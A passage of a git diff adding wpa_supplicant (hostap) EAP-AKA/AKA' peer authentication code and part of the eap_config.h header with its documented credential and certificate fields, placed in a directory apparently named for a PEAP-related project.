eap_sim_msg_finish(msg, k_aut, (u8 *) "", 0); +} + + +static struct wpabuf * eap_aka_process_identity(struct eap_sm *sm, + struct eap_aka_data *data, + u8 id, + const struct wpabuf *reqData, + struct eap_sim_attrs *attr) +{ + int id_error; + struct wpabuf *buf; + + wpa_printf(MSG_DEBUG, "EAP-AKA: subtype Identity"); + + id_error = 0; + switch (attr->id_req) { + case NO_ID_REQ: + break; + case ANY_ID: + if (data->num_id_req > 0) + id_error++; + data->num_id_req++; + break; + case FULLAUTH_ID: + if (data->num_id_req > 1) + id_error++; + data->num_id_req++; + break; + case PERMANENT_ID: + if (data->num_id_req > 2) + id_error++; + data->num_id_req++; + break; + } + if (id_error) { + wpa_printf(MSG_INFO, "EAP-AKA: Too many ID requests " + "used within one authentication"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + buf = eap_aka_response_identity(sm, data, id, attr->id_req); + + if (data->prev_id != id) { + eap_aka_add_id_msg(data, reqData); + eap_aka_add_id_msg(data, buf); + data->prev_id = id; + } + + return buf; +} + + +static int eap_aka_verify_mac(struct eap_aka_data *data, + const struct wpabuf *req, + const u8 *mac, const u8 *extra, + size_t extra_len) +{ + if (data->eap_method == EAP_TYPE_AKA_PRIME) + return eap_sim_verify_mac_sha256(data->k_aut, req, mac, extra, + extra_len); + return eap_sim_verify_mac(data->k_aut, req, mac, extra, extra_len); +} + + +#ifdef EAP_AKA_PRIME +static struct wpabuf * eap_aka_prime_kdf_select(struct eap_aka_data *data, + u8 id, u16 kdf) +{ + struct eap_sim_msg *msg; + + data->kdf_negotiation = 1; + data->kdf = kdf; + wpa_printf(MSG_DEBUG, "Generating EAP-AKA Challenge (id=%d) (KDF " + "select)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, data->eap_method, + EAP_AKA_SUBTYPE_CHALLENGE); + wpa_printf(MSG_DEBUG, " AT_KDF"); + eap_sim_msg_add(msg, EAP_SIM_AT_KDF, kdf, NULL, 0); + return eap_sim_msg_finish(msg, NULL, NULL, 0); +} + + +static struct wpabuf * eap_aka_prime_kdf_neg(struct eap_aka_data *data, + u8 id, struct eap_sim_attrs *attr) +{ + size_t i; + + for (i = 0; i < attr->kdf_count; i++) { + if (attr->kdf[i] == EAP_AKA_PRIME_KDF) + return eap_aka_prime_kdf_select(data, id, + EAP_AKA_PRIME_KDF); + } + + /* No matching KDF found - fail authentication as if AUTN had been + * incorrect */ + return eap_aka_authentication_reject(data, id); +} + + +static int eap_aka_prime_kdf_valid(struct eap_aka_data *data, + struct eap_sim_attrs *attr) +{ + size_t i, j; + + if (attr->kdf_count == 0) + return 0; + + /* The only allowed (and required) duplication of a KDF is the addition + * of the selected KDF into the beginning of the list. */ + + if (data->kdf_negotiation) { + if (attr->kdf[0] != data->kdf) { + wpa_printf(MSG_WARNING, "EAP-AKA': The server did not " + "accept the selected KDF"); + return 0; + } + + for (i = 1; i < attr->kdf_count; i++) { + if (attr->kdf[i] == data->kdf) + break; + } + if (i == attr->kdf_count && + attr->kdf_count < EAP_AKA_PRIME_KDF_MAX) { + wpa_printf(MSG_WARNING, "EAP-AKA': The server did not " + "duplicate the selected KDF"); + return 0; + } + + /* TODO: should check that the list is identical to the one + * used in the previous Challenge message apart from the added + * entry in the beginning. */ + } + + for (i = data->kdf ? 1 : 0; i < attr->kdf_count; i++) { + for (j = i + 1; j < attr->kdf_count; j++) { + if (attr->kdf[i] == attr->kdf[j]) { + wpa_printf(MSG_WARNING, "EAP-AKA': The server " + "included a duplicated KDF"); + return 0; + } + } + } + + return 1; +} +#endif /* EAP_AKA_PRIME */ + + +static struct wpabuf * eap_aka_process_challenge(struct eap_sm *sm, + struct eap_aka_data *data, + u8 id, + const struct wpabuf *reqData, + struct eap_sim_attrs *attr) +{ + const u8 *identity; + size_t identity_len; + int res; + struct eap_sim_attrs eattr; + + wpa_printf(MSG_DEBUG, "EAP-AKA: subtype Challenge"); + + if (attr->checkcode && + eap_aka_verify_checkcode(data, attr->checkcode, + attr->checkcode_len)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Invalid AT_CHECKCODE in the " + "message"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + +#ifdef EAP_AKA_PRIME + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + if (!attr->kdf_input || attr->kdf_input_len == 0) { + wpa_printf(MSG_WARNING, "EAP-AKA': Challenge message " + "did not include non-empty AT_KDF_INPUT"); + /* Fail authentication as if AUTN had been incorrect */ + return eap_aka_authentication_reject(data, id); + } + os_free(data->network_name); + data->network_name = os_malloc(attr->kdf_input_len); + if (data->network_name == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA': No memory for " + "storing Network Name"); + return eap_aka_authentication_reject(data, id); + } + os_memcpy(data->network_name, attr->kdf_input, + attr->kdf_input_len); + data->network_name_len = attr->kdf_input_len; + wpa_hexdump_ascii(MSG_DEBUG, "EAP-AKA': Network Name " + "(AT_KDF_INPUT)", + data->network_name, data->network_name_len); + /* TODO: check Network Name per 3GPP.33.402 */ + + if (!eap_aka_prime_kdf_valid(data, attr)) + return eap_aka_authentication_reject(data, id); + + if (attr->kdf[0] != EAP_AKA_PRIME_KDF) + return eap_aka_prime_kdf_neg(data, id, attr); + + data->kdf = EAP_AKA_PRIME_KDF; + wpa_printf(MSG_DEBUG, "EAP-AKA': KDF %d selected", data->kdf); + } + + if (data->eap_method == EAP_TYPE_AKA && attr->bidding) { + u16 flags = WPA_GET_BE16(attr->bidding); + if ((flags & EAP_AKA_BIDDING_FLAG_D) && + eap_allowed_method(sm, EAP_VENDOR_IETF, + EAP_TYPE_AKA_PRIME)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Bidding down from " + "AKA' to AKA detected"); + /* Fail authentication as if AUTN had been incorrect */ + return eap_aka_authentication_reject(data, id); + } + } +#endif /* EAP_AKA_PRIME */ + + data->reauth = 0; + if (!attr->mac || !attr->rand || !attr->autn) { + wpa_printf(MSG_WARNING, "EAP-AKA: Challenge message " + "did not include%s%s%s", + !attr->mac ? " AT_MAC" : "", + !attr->rand ? " AT_RAND" : "", + !attr->autn ? " AT_AUTN" : ""); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + os_memcpy(data->rand, attr->rand, EAP_AKA_RAND_LEN); + os_memcpy(data->autn, attr->autn, EAP_AKA_AUTN_LEN); + + res = eap_aka_umts_auth(sm, data); + if (res == -1) { + wpa_printf(MSG_WARNING, "EAP-AKA: UMTS authentication " + "failed (AUTN)"); + return eap_aka_authentication_reject(data, id); + } else if (res == -2) { + wpa_printf(MSG_WARNING, "EAP-AKA: UMTS authentication " + "failed (AUTN seq# -> AUTS)"); + return eap_aka_synchronization_failure(data, id); + } else if (res > 0) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Wait for external USIM processing"); + return NULL; + } else if (res) { + wpa_printf(MSG_WARNING, "EAP-AKA: UMTS authentication failed"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } +#ifdef EAP_AKA_PRIME + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + /* Note: AUTN = (SQN ^ AK) || AMF || MAC which gives us the + * needed 6-octet SQN ^ AK for CK',IK' derivation */ + u16 amf = WPA_GET_BE16(data->autn + 6); + if (!(amf & 0x8000)) { + wpa_printf(MSG_WARNING, "EAP-AKA': AMF separation bit " + "not set (AMF=0x%4x)", amf); + return eap_aka_authentication_reject(data, id); + } + eap_aka_prime_derive_ck_ik_prime(data->ck, data->ik, + data->autn, + data->network_name, + data->network_name_len); + } +#endif /* EAP_AKA_PRIME */ + if (data->last_eap_identity) { + identity = data->last_eap_identity; + identity_len = data->last_eap_identity_len; + } else if (data->pseudonym) { + identity = data->pseudonym; + identity_len = data->pseudonym_len; + } else + identity = eap_get_config_identity(sm, &identity_len); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-AKA: Selected identity for MK " + "derivation", identity, identity_len); + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + eap_aka_prime_derive_keys(identity, identity_len, data->ik, + data->ck, data->k_encr, data->k_aut, + data->k_re, data->msk, data->emsk); + } else { + eap_aka_derive_mk(identity, identity_len, data->ik, data->ck, + data->mk); + eap_sim_derive_keys(data->mk, data->k_encr, data->k_aut, + data->msk, data->emsk); + } + if (eap_aka_verify_mac(data, reqData, attr->mac, (u8 *) "", 0)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Challenge message " + "used invalid AT_MAC"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + /* Old reauthentication identity must not be used anymore. In + * other words, if no new identities are received, full + * authentication will be used on next reauthentication (using + * pseudonym identity or permanent identity). */ + eap_aka_clear_identities(sm, data, CLEAR_REAUTH_ID | CLEAR_EAP_ID); + + if (attr->encr_data) { + u8 *decrypted; + decrypted = eap_sim_parse_encr(data->k_encr, attr->encr_data, + attr->encr_data_len, attr->iv, + &eattr, 0); + if (decrypted == NULL) { + return eap_aka_client_error( + data, id, EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + eap_aka_learn_ids(sm, data, &eattr); + os_free(decrypted); + } + + if (data->result_ind && attr->result_ind) + data->use_result_ind = 1; + + if (data->state != FAILURE && data->state != RESULT_FAILURE) { + eap_aka_state(data, data->use_result_ind ? + RESULT_SUCCESS : SUCCESS); + } + + data->num_id_req = 0; + data->num_notification = 0; + /* RFC 4187 specifies that counter is initialized to one after + * fullauth, but initializing it to zero makes it easier to implement + * reauth verification. */ + data->counter = 0; + return eap_aka_response_challenge(data, id); +} + + +static int eap_aka_process_notification_reauth(struct eap_aka_data *data, + struct eap_sim_attrs *attr) +{ + struct eap_sim_attrs eattr; + u8 *decrypted; + + if (attr->encr_data == NULL || attr->iv == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: Notification message after " + "reauth did not include encrypted data"); + return -1; + } + + decrypted = eap_sim_parse_encr(data->k_encr, attr->encr_data, + attr->encr_data_len, attr->iv, &eattr, + 0); + if (decrypted == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: Failed to parse encrypted " + "data from notification message"); + return -1; + } + + if (eattr.counter < 0 || (size_t) eattr.counter != data->counter) { + wpa_printf(MSG_WARNING, "EAP-AKA: Counter in notification " + "message does not match with counter in reauth " + "message"); + os_free(decrypted); + return -1; + } + + os_free(decrypted); + return 0; +} + + +static int eap_aka_process_notification_auth(struct eap_aka_data *data, + const struct wpabuf *reqData, + struct eap_sim_attrs *attr) +{ + if (attr->mac == NULL) { + wpa_printf(MSG_INFO, "EAP-AKA: no AT_MAC in after_auth " + "Notification message"); + return -1; + } + + if (eap_aka_verify_mac(data, reqData, attr->mac, (u8 *) "", 0)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Notification message " + "used invalid AT_MAC"); + return -1; + } + + if (data->reauth && + eap_aka_process_notification_reauth(data, attr)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Invalid notification " + "message after reauth"); + return -1; + } + + return 0; +} + + +static struct wpabuf * eap_aka_process_notification( + struct eap_sm *sm, struct eap_aka_data *data, u8 id, + const struct wpabuf *reqData, struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-AKA: subtype Notification"); + if (data->num_notification > 0) { + wpa_printf(MSG_INFO, "EAP-AKA: too many notification " + "rounds (only one allowed)"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + data->num_notification++; + if (attr->notification == -1) { + wpa_printf(MSG_INFO, "EAP-AKA: no AT_NOTIFICATION in " + "Notification message"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + if ((attr->notification & 0x4000) == 0 && + eap_aka_process_notification_auth(data, reqData, attr)) { + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + eap_sim_report_notification(sm->msg_ctx, attr->notification, 1); + if (attr->notification >= 0 && attr->notification < 32768) { + eap_aka_state(data, FAILURE); + } else if (attr->notification == EAP_SIM_SUCCESS && + data->state == RESULT_SUCCESS) + eap_aka_state(data, SUCCESS); + return eap_aka_response_notification(data, id, attr->notification); +} + + +static struct wpabuf * eap_aka_process_reauthentication( + struct eap_sm *sm, struct eap_aka_data *data, u8 id, + const struct wpabuf *reqData, struct eap_sim_attrs *attr) +{ + struct eap_sim_attrs eattr; + u8 *decrypted; + + wpa_printf(MSG_DEBUG, "EAP-AKA: subtype Reauthentication"); + + if (attr->checkcode && + eap_aka_verify_checkcode(data, attr->checkcode, + attr->checkcode_len)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Invalid AT_CHECKCODE in the " + "message"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + if (data->reauth_id == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: Server is trying " + "reauthentication, but no reauth_id available"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + data->reauth = 1; + if (eap_aka_verify_mac(data, reqData, attr->mac, (u8 *) "", 0)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Reauthentication " + "did not have valid AT_MAC"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + if (attr->encr_data == NULL || attr->iv == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: Reauthentication " + "message did not include encrypted data"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + decrypted = eap_sim_parse_encr(data->k_encr, attr->encr_data, + attr->encr_data_len, attr->iv, &eattr, + 0); + if (decrypted == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: Failed to parse encrypted " + "data from reauthentication message"); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + if (eattr.nonce_s == NULL || eattr.counter < 0) { + wpa_printf(MSG_INFO, "EAP-AKA: (encr) No%s%s in reauth packet", + !eattr.nonce_s ? " AT_NONCE_S" : "", + eattr.counter < 0 ? " AT_COUNTER" : ""); + os_free(decrypted); + return eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + } + + if (eattr.counter < 0 || (size_t) eattr.counter <= data->counter) { + struct wpabuf *res; + wpa_printf(MSG_INFO, "EAP-AKA: (encr) Invalid counter " + "(%d <= %d)", eattr.counter, data->counter); + data->counter_too_small = eattr.counter; + + /* Reply using Re-auth w/ AT_COUNTER_TOO_SMALL. The current + * reauth_id must not be used to start a new reauthentication. + * However, since it was used in the last EAP-Response-Identity + * packet, it has to saved for the following fullauth to be + * used in MK derivation. */ + os_free(data->last_eap_identity); + data->last_eap_identity = data->reauth_id; + data->last_eap_identity_len = data->reauth_id_len; + data->reauth_id = NULL; + data->reauth_id_len = 0; + + res = eap_aka_response_reauth(data, id, 1, eattr.nonce_s); + os_free(decrypted); + + return res; + } + data->counter = eattr.counter; + + os_memcpy(data->nonce_s, eattr.nonce_s, EAP_SIM_NONCE_S_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-AKA: (encr) AT_NONCE_S", + data->nonce_s, EAP_SIM_NONCE_S_LEN); + + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + eap_aka_prime_derive_keys_reauth(data->k_re, data->counter, + data->reauth_id, + data->reauth_id_len, + data->nonce_s, + data->msk, data->emsk); + } else { + eap_sim_derive_keys_reauth(data->counter, data->reauth_id, + data->reauth_id_len, + data->nonce_s, data->mk, + data->msk, data->emsk); + } + eap_aka_clear_identities(sm, data, CLEAR_REAUTH_ID | CLEAR_EAP_ID); + eap_aka_learn_ids(sm, data, &eattr); + + if (data->result_ind && attr->result_ind) + data->use_result_ind = 1; + + if (data->state != FAILURE && data->state != RESULT_FAILURE) { + eap_aka_state(data, data->use_result_ind ? + RESULT_SUCCESS : SUCCESS); + } + + data->num_id_req = 0; + data->num_notification = 0; + if (data->counter > EAP_AKA_MAX_FAST_REAUTHS) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Maximum number of " + "fast reauths performed - force fullauth"); + eap_aka_clear_identities(sm, data, + CLEAR_REAUTH_ID | CLEAR_EAP_ID); + } + os_free(decrypted); + return eap_aka_response_reauth(data, id, 0, data->nonce_s); +} + + +static struct wpabuf * eap_aka_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_aka_data *data = priv; + const struct eap_hdr *req; + u8 subtype, id; + struct wpabuf *res; + const u8 *pos; + struct eap_sim_attrs attr; + size_t len; + + wpa_hexdump_buf(MSG_DEBUG, "EAP-AKA: EAP data", reqData); + if (eap_get_config_identity(sm, &len) == NULL) { + wpa_printf(MSG_INFO, "EAP-AKA: Identity not configured"); + eap_sm_request_identity(sm); + ret->ignore = TRUE; + return NULL; + } + + pos = eap_hdr_validate(EAP_VENDOR_IETF, data->eap_method, reqData, + &len); + if (pos == NULL || len < 1) { + ret->ignore = TRUE; + return NULL; + } + req = wpabuf_head(reqData); + id = req->identifier; + len = be_to_host16(req->length); + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = TRUE; + + subtype = *pos++; + wpa_printf(MSG_DEBUG, "EAP-AKA: Subtype=%d", subtype); + pos += 2; /* Reserved */ + + if (eap_sim_parse_attr(pos, wpabuf_head_u8(reqData) + len, &attr, + data->eap_method == EAP_TYPE_AKA_PRIME ? 2 : 1, + 0)) { + res = eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + goto done; + } + + switch (subtype) { + case EAP_AKA_SUBTYPE_IDENTITY: + res = eap_aka_process_identity(sm, data, id, reqData, &attr); + break; + case EAP_AKA_SUBTYPE_CHALLENGE: + res = eap_aka_process_challenge(sm, data, id, reqData, &attr); + break; + case EAP_AKA_SUBTYPE_NOTIFICATION: + res = eap_aka_process_notification(sm, data, id, reqData, + &attr); + break; + case EAP_AKA_SUBTYPE_REAUTHENTICATION: + res = eap_aka_process_reauthentication(sm, data, id, reqData, + &attr); + break; + case EAP_AKA_SUBTYPE_CLIENT_ERROR: + wpa_printf(MSG_DEBUG, "EAP-AKA: subtype Client-Error"); + res = eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-AKA: Unknown subtype=%d", subtype); + res = eap_aka_client_error(data, id, + EAP_AKA_UNABLE_TO_PROCESS_PACKET); + break; + } + +done: + if (data->state == FAILURE) { + ret->decision = DECISION_FAIL; + ret->methodState = METHOD_DONE; + } else if (data->state == SUCCESS) { + ret->decision = data->use_result_ind ? + DECISION_UNCOND_SUCC : DECISION_COND_SUCC; + /* + * It is possible for the server to reply with AKA + * Notification, so we must allow the method to continue and + * not only accept EAP-Success at this point. + */ + ret->methodState = data->use_result_ind ? + METHOD_DONE : METHOD_MAY_CONT; + } else if (data->state == RESULT_FAILURE) + ret->methodState = METHOD_CONT; + else if (data->state == RESULT_SUCCESS) + ret->methodState = METHOD_CONT; + + if (ret->methodState == METHOD_DONE) { + ret->allowNotifications = FALSE; + } + + return res; +} + + +static Boolean eap_aka_has_reauth_data(struct eap_sm *sm, void *priv) +{ + struct eap_aka_data *data = priv; + return data->pseudonym || data->reauth_id; +} + + +static void eap_aka_deinit_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_aka_data *data = priv; + eap_aka_clear_identities(sm, data, CLEAR_EAP_ID); + data->prev_id = -1; + wpabuf_free(data->id_msgs); + data->id_msgs = NULL; + data->use_result_ind = 0; + data->kdf_negotiation = 0; +} + + +static void * eap_aka_init_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_aka_data *data = priv; + data->num_id_req = 0; + data->num_notification = 0; + eap_aka_state(data, CONTINUE); + return priv; +} + + +static const u8 * eap_aka_get_identity(struct eap_sm *sm, void *priv, + size_t *len) +{ + struct eap_aka_data *data = priv; + + if (data->reauth_id) { + *len = data->reauth_id_len; + return data->reauth_id; + } + + if (data->pseudonym) { + *len = data->pseudonym_len; + return data->pseudonym; + } + + return NULL; +} + + +static Boolean eap_aka_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_aka_data *data = priv; + return data->state == SUCCESS; +} + + +static u8 * eap_aka_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_aka_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_SIM_KEYING_DATA_LEN); + if (key == NULL) + return NULL; + + *len = EAP_SIM_KEYING_DATA_LEN; + os_memcpy(key, data->msk, EAP_SIM_KEYING_DATA_LEN); + + return key; +} + + +static u8 * eap_aka_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_aka_data *data = priv; + u8 *id; + + if (data->state != SUCCESS) + return NULL; + + *len = 1 + EAP_AKA_RAND_LEN + EAP_AKA_AUTN_LEN; + id = os_malloc(*len); + if (id == NULL) + return NULL; + + id[0] = data->eap_method; + os_memcpy(id + 1, data->rand, EAP_AKA_RAND_LEN); + os_memcpy(id + 1 + EAP_AKA_RAND_LEN, data->autn, EAP_AKA_AUTN_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-AKA: Derived Session-Id", id, *len); + + return id; +} + + +static u8 * eap_aka_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_aka_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_EMSK_LEN; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + + return key; +} + + +int eap_peer_aka_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_AKA, "AKA"); + if (eap == NULL) + return -1; + + eap->init = eap_aka_init; + eap->deinit = eap_aka_deinit; + eap->process = eap_aka_process; + eap->isKeyAvailable = eap_aka_isKeyAvailable; + eap->getKey = eap_aka_getKey; + eap->getSessionId = eap_aka_get_session_id; + eap->has_reauth_data = eap_aka_has_reauth_data; + eap->deinit_for_reauth = eap_aka_deinit_for_reauth; + eap->init_for_reauth = eap_aka_init_for_reauth; + eap->get_identity = eap_aka_get_identity; + eap->get_emsk = eap_aka_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} + + +#ifdef EAP_AKA_PRIME +int eap_peer_aka_prime_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_AKA_PRIME, + "AKA'"); + if (eap == NULL) + return -1; + + eap->init = eap_aka_prime_init; + eap->deinit = eap_aka_deinit; + eap->process = eap_aka_process; + eap->isKeyAvailable = eap_aka_isKeyAvailable; + eap->getKey = eap_aka_getKey; + eap->getSessionId = eap_aka_get_session_id; + eap->has_reauth_data = eap_aka_has_reauth_data; + eap->deinit_for_reauth = eap_aka_deinit_for_reauth; + eap->init_for_reauth = eap_aka_init_for_reauth; + eap->get_identity = eap_aka_get_identity; + eap->get_emsk = eap_aka_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + + return ret; +} +#endif /* EAP_AKA_PRIME */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_config.h b/peapwn/mods/hostap/src/eap_peer/eap_config.h new file mode 100644 index 000000000..98ec1f763 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_config.h @@ -0,0 +1,713 @@ +/* + * EAP peer configuration data + * Copyright (c) 2003-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_CONFIG_H +#define EAP_CONFIG_H + +/** + * struct eap_peer_config - EAP peer configuration/credentials + */ +struct eap_peer_config { + /** + * identity - EAP Identity + * + * This field is used to set the real user identity or NAI (for + * EAP-PSK/PAX/SAKE/GPSK). + */ + u8 *identity; + + /** + * identity_len - EAP Identity length + */ + size_t identity_len; + + /** + * anonymous_identity - Anonymous EAP Identity + * + * This field is used for unencrypted use with EAP types that support + * different tunnelled identity, e.g., EAP-TTLS, in order to reveal the + * real identity (identity field) only to the authentication server. + * + * If not set, the identity field will be used for both unencrypted and + * protected fields. + * + * This field can also be used with EAP-SIM/AKA/AKA' to store the + * pseudonym identity. + */ + u8 *anonymous_identity; + + /** + * anonymous_identity_len - Length of anonymous_identity + */ + size_t anonymous_identity_len; + + /** + * password - Password string for EAP + * + * This field can include either the plaintext password (default + * option) or a NtPasswordHash (16-byte MD4 hash of the unicode + * presentation of the password) if flags field has + * EAP_CONFIG_FLAGS_PASSWORD_NTHASH bit set to 1. NtPasswordHash can + * only be used with authentication mechanism that use this hash as the + * starting point for operation: MSCHAP and MSCHAPv2 (EAP-MSCHAPv2, + * EAP-TTLS/MSCHAPv2, EAP-TTLS/MSCHAP, LEAP). + * + * In addition, this field is used to configure a pre-shared key for + * EAP-PSK/PAX/SAKE/GPSK. The length of the PSK must be 16 for EAP-PSK + * and EAP-PAX and 32 for EAP-SAKE. EAP-GPSK can use a variable length + * PSK. + */ + u8 *password; + + /** + * password_len - Length of password field + */ + size_t password_len; + + /** + * ca_cert - File path to CA certificate file (PEM/DER) + * + * This file can have one or more trusted CA certificates. If ca_cert + * and ca_path are not included, server certificate will not be + * verified. This is insecure and a trusted CA certificate should + * always be configured when using EAP-TLS/TTLS/PEAP. Full path to the + * file should be used since working directory may change when + * wpa_supplicant is run in the background. + * + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + * + * Alternatively, this can be used to only perform matching of the + * server certificate (SHA-256 hash of the DER encoded X.509 + * certificate). In this case, the possible CA certificates in the + * server certificate chain are ignored and only the server certificate + * is verified. This is configured with the following format: + * hash:://server/sha256/cert_hash_in_hex + * For example: "hash://server/sha256/ + * 5a1bc1296205e6fdbe3979728efe3920798885c1c4590b5f90f43222d239ca6a" + * + * On Windows, trusted CA certificates can be loaded from the system + * certificate store by setting this to cert_store://name, e.g., + * ca_cert="cert_store://CA" or ca_cert="cert_store://ROOT". + * Note that when running wpa_supplicant as an application, the user + * certificate store (My user account) is used, whereas computer store + * (Computer account) is used when running wpasvc as a service. + */ + u8 *ca_cert; + + /** + * ca_path - Directory path for CA certificate files (PEM) + * + * This path may contain multiple CA certificates in OpenSSL format. + * Common use for this is to point to system trusted CA list which is + * often installed into directory like /etc/ssl/certs. If configured, + * these certificates are added to the list of trusted CAs. ca_cert + * may also be included in that case, but it is not required. + */ + u8 *ca_path; + + /** + * client_cert - File path to client certificate file (PEM/DER) + * + * This field is used with EAP method that use TLS authentication. + * Usually, this is only configured for EAP-TLS, even though this could + * in theory be used with EAP-TTLS and EAP-PEAP, too. Full path to the + * file should be used since working directory may change when + * wpa_supplicant is run in the background. + * + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + */ + u8 *client_cert; + + /** + * private_key - File path to client private key file (PEM/DER/PFX) + * + * When PKCS#12/PFX file (.p12/.pfx) is used, client_cert should be + * commented out. Both the private key and certificate will be read + * from the PKCS#12 file in this case. Full path to the file should be + * used since working directory may change when wpa_supplicant is run + * in the background. + * + * Windows certificate store can be used by leaving client_cert out and + * configuring private_key in one of the following formats: + * + * cert://substring_to_match + * + * hash://certificate_thumbprint_in_hex + * + * For example: private_key="hash://63093aa9c47f56ae88334c7b65a4" + * + * Note that when running wpa_supplicant as an application, the user + * certificate store (My user account) is used, whereas computer store + * (Computer account) is used when running wpasvc as a service. + * + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + */ + u8 *private_key; + + /** + * private_key_passwd - Password for private key file + * + * If left out, this will be asked through control interface. + */ + u8 *private_key_passwd; + + /** + * dh_file - File path to DH/DSA parameters file (in PEM format) + * + * This is an optional configuration file for setting parameters for an + * ephemeral DH key exchange. In most cases, the default RSA + * authentication does not use this configuration. However, it is + * possible setup RSA to use ephemeral DH key exchange. In addition, + * ciphers with DSA keys always use ephemeral DH keys. This can be used + * to achieve forward secrecy. If the file is in DSA parameters format, + * it will be automatically converted into DH params. Full path to the + * file should be used since working directory may change when + * wpa_supplicant is run in the background. + * + * Alternatively, a named configuration blob can be used by setting + * this to blob://blob_name. + */ + u8 *dh_file; + + /** + * subject_match - Constraint for server certificate subject + * + * This substring is matched against the subject of the authentication + * server certificate. If this string is set, the server sertificate is + * only accepted if it contains this string in the subject. The subject + * string is in following format: + * + * /C=US/ST=CA/L=San Francisco/CN=Test AS/emailAddress=as@n.example.com + */ + u8 *subject_match; + + /** + * altsubject_match - Constraint for server certificate alt. subject + * + * Semicolon separated string of entries to be matched against the + * alternative subject name of the authentication server certificate. + * If this string is set, the server sertificate is only accepted if it + * contains one of the entries in an alternative subject name + * extension. + * + * altSubjectName string is in following format: TYPE:VALUE + * + * Example: EMAIL:server@example.com + * Example: DNS:server.example.com;DNS:server2.example.com + * + * Following types are supported: EMAIL, DNS, URI + */ + u8 *altsubject_match; + + /** + * domain_suffix_match - Constraint for server domain name + * + * If set, this FQDN is used as a suffix match requirement for the + * server certificate in SubjectAltName dNSName element(s). If a + * matching dNSName is found, this constraint is met. If no dNSName + * values are present, this constraint is matched against SubjetName CN + * using same suffix match comparison. Suffix match here means that the + * host/domain name is compared one label at a time starting from the + * top-level domain and all the labels in domain_suffix_match shall be + * included in the certificate. The certificate may include additional + * sub-level labels in addition to the required labels. + * + * For example, domain_suffix_match=example.com would match + * test.example.com but would not match test-example.com. + */ + char *domain_suffix_match; + + /** + * 